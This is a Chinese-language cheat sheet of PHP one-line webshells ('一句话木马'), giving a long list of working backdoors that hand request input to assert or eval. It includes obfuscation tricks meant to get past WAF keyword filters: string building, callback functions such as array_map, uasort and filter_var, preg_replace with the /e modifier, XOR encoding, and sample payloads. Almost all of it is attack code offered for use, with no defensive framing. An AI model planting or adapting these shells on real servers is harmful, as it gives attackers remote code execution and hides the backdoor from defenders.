一句话木马
目录php
方法
-
字符串变形:
substr(string, start, length)
<?php $a = 'a'.'s'.'s'.'e'.'r'.'t'; $a($_POST['x']); ?> <?php $a = substr('1a',1).'s'.'s'.'e'.'r'.'t'; $a($_POST['x']); ?>
strtr(string, from, to)
<?php $a = strtr('azxcvt','zxcv','ssert'); $a($_POST['x']); ?>
substr_replace(string, replacement, start, length)
<?php $a = substr_replace("asxxx","sert",2); $a($_POST['x']); ?>
trim(string, charlist)
<?php $a = trim(' assert '); $a($_POST['x']); ?>
-
函数绕过
函数可以把敏感关键词当做参数传递
<?php function sqlsec($a){ $a($_POST['x']); } sqlsec(assert); ?>
-
回调函数
回调函数⼤部分都无法绕过 WAF 了
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
<?php call_user_func('assert',$_POST['x']); ?>
call_user_func_array ( callable $callback , array $param_arr )
<?php call_user_func_array(assert,array($_POST['x'])); ?>
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
<?php array_filter(array($_POST['x']),'assert'); ?> <?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_filter($arr, base64_decode($e)); ?>
array_map(myfunction,array1,array2,array3...)
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map(base64_decode($e), $arr); ?>
array_walk(array,myfunction,parameter...)
<?php function sqlsec($value,$key) { $x = $key.$value; $x($_POST['x']); } $a=array("ass"=>"ert"); array_walk($a,"sqlsec"); ?> <?php $e = $_REQUEST['e']; $arr = array($_POST['x'] => '|.*|e',); array_walk($arr, $e, ''); ?> # payload: shell.php?e=preg_replace 相当于 preg_replace('|.*|e',$_POST['x'],'') # PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的: # mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string <?php mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e'); ?> # mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) <?php preg_filter('|\d|e', $_REQUEST['x'], '2'); ?> <?php mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e'); ?>
array_walk_recursive(array,myfunction,parameter...)
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'] => '|.*|e',); array_walk_recursive($arr, $e, ''); ?>
array_reduce(array,myfunction,initial)
array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。
<?php $e = $_REQUEST['e']; $arr = array(1); array_reduce($arr, $e, $_POST['x']); ?> # payload e=assert&x=phpinfo();
array_diff(array1,array2,array3...);
array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。
<?php $e = $_REQUEST['e']; $arr = array($_POST['x']); $arr2 = array(1); array_udiff($arr, $arr2, $e); ?> # payload e=assert&x=phpinfo();
uasort(array,myfunction);
uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。
<?php $e = $_REQUEST['e']; $arr = array('test', $_REQUEST['x']); uasort($arr, base64_decode($e)); ?> # payload e=YXNzZXJ0&x=phpinfo(); <?php $arr = new ArrayObject(array('test', $_REQUEST['x'])); $arr->uasort('assert'); ?>
uksort(array,myfunction);
uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。
<?php $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['x'] => 2); uksort($arr, $e); ?> # e=assert&x=phpinfo(); <?php $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2)); $arr->uksort('assert'); ?>
register_shutdown_function ( callable $callback [, mixed $... ] ) : void
注册一个
callback
,它会在脚本执行完成或者 exit() 后被调用。<?php $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['x']); ?>
register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool
注册在调用记号时要执行的给定函数。
<?php $e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['x']); ?>
filter_var(variable, filter, options)
filter_var() 函数通过指定的过滤器过滤变量。
<?php filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert')); ?>
filter_var_array(array, args)
filter_var_array() 函数获取多项变量,并进行过滤。
<?php filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))); ?>
register_tick_function ( callable $function [, mixed $... ] ) : bool
注册在调用记号时要执行的给定函数。
<?php $e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['x']); ?>
-
异或
<?php $a = ('!'^'@').'s'.'s'.'e'.'r'.'t'; $a($_POST['x']); ?>
收集
1. 异或
<?php
# $a = _POST
$a="~+d()"^"!{+{}";
# $b = $_POST["a"]
$b=${$a}["a"];
# eval($_POST["a"]);
eval("".$b);
?>